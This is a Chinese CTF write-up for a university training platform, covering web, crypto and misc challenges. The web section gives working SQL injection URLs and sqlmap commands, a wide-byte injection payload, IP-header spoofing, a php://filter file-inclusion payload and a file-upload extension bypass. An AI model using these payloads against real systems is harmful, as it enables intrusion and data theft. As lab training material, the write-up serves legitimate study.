About CTF&wp
成都大学网络攻防平台
这是跟几个老哥一起刷的,只不过我太菜。一直没时间,今天才决定要把wp写一下。由于太菜,re没有做,回头问问大佬们再写。
WEB
web1
很简单的入门题目,F12修改下html限制就好了。
<input type="text" name="key" maxlength="6">
把maxlength删除了就可以了。
web2
get提提交个数据就好了。
http://ctf.cdusec.org:8082/web2/?cdusec=tql
web3
post提交一个数据。firefox的F12就可以实现,或者你可以选择hackbar。
Three Zero Two
看题目就可以知道,是一个302跳转,点开题目链接进去一看,url为:
http://ctf.cdusec.org:8082/web4/1ndex.php
注意是1ndex.php
,而不是index.php
。不用墨迹,直接抓包就好了。
Where are you from?
进入页面,发现提示,只允许管理员进入。很简单,管理员登陆一般都是在本地进行的,所以直接进行客户端ip伪造就好了。
五种客户端IP伪造方式:
X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
那么接下来就好办了,伪造客户端IP地址。
GET /web5/ HTTP/1.1
Host: ctf.cdusec.org:8082
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
发包直接getflag。
MD5碰撞
题目源码:
<?php
error_reporting(0);
include_once('flag.php');
highlight_file('index.php');
$md51 = md5('QNKCDZO');
$a = $_GET['b'];
$md52 = md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo $flag;
} else {
echo "false!!!";
}}
?>
这个就参考我之前写的那个PHP黑魔法,第一个就是解决这个题目的方法,在里面随便找一组字符串,提交就可以获取flag。这是一个典型的hash比较缺陷题目。
简单的注入
方法一:
sqlmap一把梭
sqlmap -u "http://ctf.cdusec.org:8083/sqli.php?id=1" --dbs
方法二:
联合查询:
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,2--+
查库
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,database()--+
查表
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
懒得查字段名了,直接猜flag
http://ctf.cdusec.org:8083/sqli.php?id=-1%20union%20select%201,flag%20from%20flag--+
随机数
<?php
echo "PHP 5.4.26";
mt_srand(xxxxxxxx);
# We can't tell you what is xxxxxxxx!
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>
984489752
619387123
2070958802
2105559368
1909473866
1679323715
1910332168
640569646
1103001695
1871111424
flag
So, Please guess the flag!
先做一个科普:
首先我们要知道,每一次调用mt_rand()函数的时候,都会检查一下系统有没有播种。(播种是由mt_srand()函数完成的),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以前面也说到,同一个种子下随机生成的随机数值是相同的。同时,也解释了我们破解随机种子的可行性。如果每次调用mt_rand()函数都需要生成一个随机种子的话,那根本就没办法破解。
mt_srand()函数播种的时候,只有在第一次调用mt_rand()
函数的时候才会使用。所以如果我们知道了第一次生成的随机数值,就可能爆破出随机数种子。
注意,题目中标示了php的版本,注意一定要把版本搞对,不然可能一直都跑不对。
工具自带的README实在是比较难理解,推荐看这个php_mt_seed。把题目给的生成的一组随机数的第一个数用作爆破。
./php_mt_seed 984489752
结果为
seed = 12345679
seed = 1039460795
再模仿一个php的脚本
<?php
$seed = xxxx;
mt_srand($seed);
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo "echo flag{".mt_rand()."}"
?>
把上面的两组seed值带入,跑两次,得出两组flag:
flag{2003170939}
flag{1014721809}
接下来,提交两次,就可以知道哪个为正确的flag
LFI
很常见的一个文件包含漏洞,没啥技术含量。可以参考我之前写的文件包含漏洞
http://ctf.cdusec.org:8085/index.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
然后进行base64解密就好了。
php反序列化
这个题目根本就是个误导,虽然有serialize函数,但问题根本就不是这里,问题的根本是base64填充。直接上脚本:
import requests as req
data = {
"id": ' '*100+'cdusec-ctflag???'
}
res = req.post("http://ctf.cdusec.org:8082/web7/index.php", data=data)
if res.status_code == 200:
print(res.content)
更简单的注入
方法一:
sqlmap一把梭:
sqlmap -u "http://ctf.cdusec.org:8084/sqli.php?id=1" --dbs
方法二:
盲注,结合上面的简单的注入,加上猜解判断即可。(PS:实际上我是sqlmap一把梭)
有趣的注入
访问http://ctf.cdusec.org:8086/sqli.php?id=1
,查看源代码,发现
<meta charset="gbk" />
这就好办了,典型的宽字节注入,详情查看我的博客的宽字节注入。
方法一:bash
sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=-1%df'" --dbs
方法二:
手动宽字节注入:
一样的流程,只不过跟简单的注入相比,多了一个%df而已。直接上最终的payload:
http://ctf.cdusec.org:8086/sqli.php?id=-1%df%27%20union%20select%201,2,flag%20from%20flag--+
upload
进入页面,发现需要进行登陆,但是并不知道密码,一开始猜测可能是暴力破解弱口令,但是看了一下请求包发现,就在请求包里
拿到了密码,直接复制登陆,进入到上传页面。
随便上传一个png文件,显示成功。但是上传php文件的时候,开始拒绝。
You cannot upload files of this type!
然后尝试修改后缀php3,然后发现直接成功了。。。。
关于文件上传部分知识点,在我博客文件上传中有介绍。
这个注入有点难?
没做出来。。。。。。
Crypto
Crypto_签到
直接就有flag。。。
凯撒大帝降临
直接进行凯撒位移就行。
fuck!这是什么鬼
js-fuck编码,直接在控制台运行就可以了。
不一样的morse
上网址摩斯密码解密
你熟悉键盘吗?
题目:
4eszrfvd ygvhnji 76tyujnb 7412 4eszrfvd
你可以按照顺序,在键盘上画一画,答案就出来了,加上flag就行。
flag{ANgLA}
啊啊啊蕾蕾姐被表白了
题目:
33532141437432217493
重点:手机短信、内容长度是偶数、数字的第二位都在1~4之间
可以看下这个图,123456789对应的9个键。把题目给的一串数字两两一组划分开:
33 53 21 41 43 74 32 21 74 93
按照手机的9键输入一一对应:
f l a g i s e a s y
加上flag{}就是最终答案了。
奇怪的字符串
题目:
NYYNNYYN NYYNYYNN NYYNNNNY NYYNNYYY NYYYYNYY NYYNYNYY NNYYNNYY NYYYYNNY NYNYYYYY NYYNYNNY NNYYNYNY NYNYYYYY NYYNYNNN NYYNNYNY NYNYNNYN NYYNNYNY NYYYYYNY
这里我给出两个单词,这个题目就一目了然了。
NO YES
而NO跟YES在计算机的世界里又代表0跟1。这个题目就可以转化为:
01100110 01101100 01100001 01100111 01111011 01101011 00110011 01111001 01011111 01101001 00110101 01011111 01101000 01100101
01010010 01100101 01111101
二进制转字符串(注意:空格是需要去掉的):
flag{k3y_i5_heRe}
the other base’s member
题目:
2ZarhfbBYwrHU7FRGN2YLbqgcCW7giT6KZx8KhF3NV2
看起来是个base加密,嗯,它还就是个base加密……
base64解密失败,base32解密失败,base16解密失败……
再去看题目,the other base’s member,其他的base方式,我就去试了试base58,成功。
base58解密:
flag{B4Se_f4mi1y_v3Ry_BBBBBBig}
easy_base_family
就是一个超级大的base全家桶,我第一次写的脚本比较笨,不建议采纳,可以用try函数进行改进,先po上我的脚本,欢迎大家给我提建议。
import base64
with open('base_family.txt','r+') as f:
text = f.read()
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b32decode(text)
text = base64.b16decode(text)
text = base64.b16decode(text)
text = base64.b32decode(text)
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b32decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base64.b32decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base64.b32decode(text)
text = base64.b16decode(text)
text = base64.b64decode(text)
text = base64.b64decode(text)
text = base64.b16decode(text)
text = base64.b16decode(text)
text = base64.b16decode(text)
#text = text.decode('utf-8')
print(text)
蕾蕾姐的id
题目主要内容就是进行md5爆破了,不废话了,上脚本:
import hashlib
str="qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM0987654321"
for a in str:
for b in str:
for c in str:
for d in str:
ming=a+b+c+d
ming=bytes(ming,encoding='utf-8')
m=hashlib.md5()
m.update(ming)
if(m.hexdigest()[2:5]=='fdc') and (m.hexdigest()[29:32]=='41d'):
print(ming)
print(m.hexdigest())
棋局
题目:
546865206c656e677468206f662074686520666c6167277320636f6e74656e743a203130
密文:rquutrqqrtulrutuuurr
看题目提示就知道是一个棋盘密码。。。
直接找了个脚本在跑:
import itertools
key = []
cipher = "rquutrqqrtulrutuuurr"
for i in itertools.permutations('rqutl',5):
key.append(''.join(i))
for now_key in key:
solve_c = ""
res = ""
for now_c in cipher:
solve_c += str(now_key.index(now_c))
for i in range(0,len(solve_c),2):
now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
if now_ascii>ord('i'):
now_ascii+=1
res += chr(now_ascii)
if "flag" in res:
print(now_key,res)
MISC
Easy_misc3
题目: What is the docx?
这里科普一个知识点,docx,其本质就是一个压缩包。所以你把下载下来的docx文件改为zip,就可以看到里面的flag.txt了。
Esay_misc2
题目:xor
图片异或题目,使用神器Stegsolve进行xor异或就行了。
图片懒得截了。语言描述一波……
使用工具打开图片后,然后转到alpha plane0通道,点file菜单,点击save as保存为bmp格式,然后同理把blue,red,green的0通道分别保存为bmp格式。
保存完后打开保存的alpha的bmp图片,然后点击菜单栏的analyse,点击image combiner打开另外一种颜色的0通道保存的图片,进行两张图片异或对比,flag就出来了
catch
题目:ping
科普:ping使用的是ICMP协议。
使用wireshark打开,过滤ICMP,看看数据包的内容,找data数据就可以了。
你倒是先解压啊
建议使用360压缩,绕过所有伪加密。。。
docx文件,还是一个压缩包,进去慢慢找一找,会有一个flag的图片的。
misc4
巅峰极客大赛真题。
推荐郁师傅的博客
一直刷新
图片隐写,使用F5刷新工具即可
flag{F5_f5_F5_Ez!!!}
RE
RE有老哥给过我wp,但是由于水平不够,RE实在是不会,于是乎就先不写了。
小结
成都大学的平台还是不错的,不少的脑洞题目,比较有感觉。继续肝newbugku了,写的差不多了,再出wp。(PS:最近图床换了,所以很不稳定,各种懒,各种不截图,将就看吧,膜各位大佬)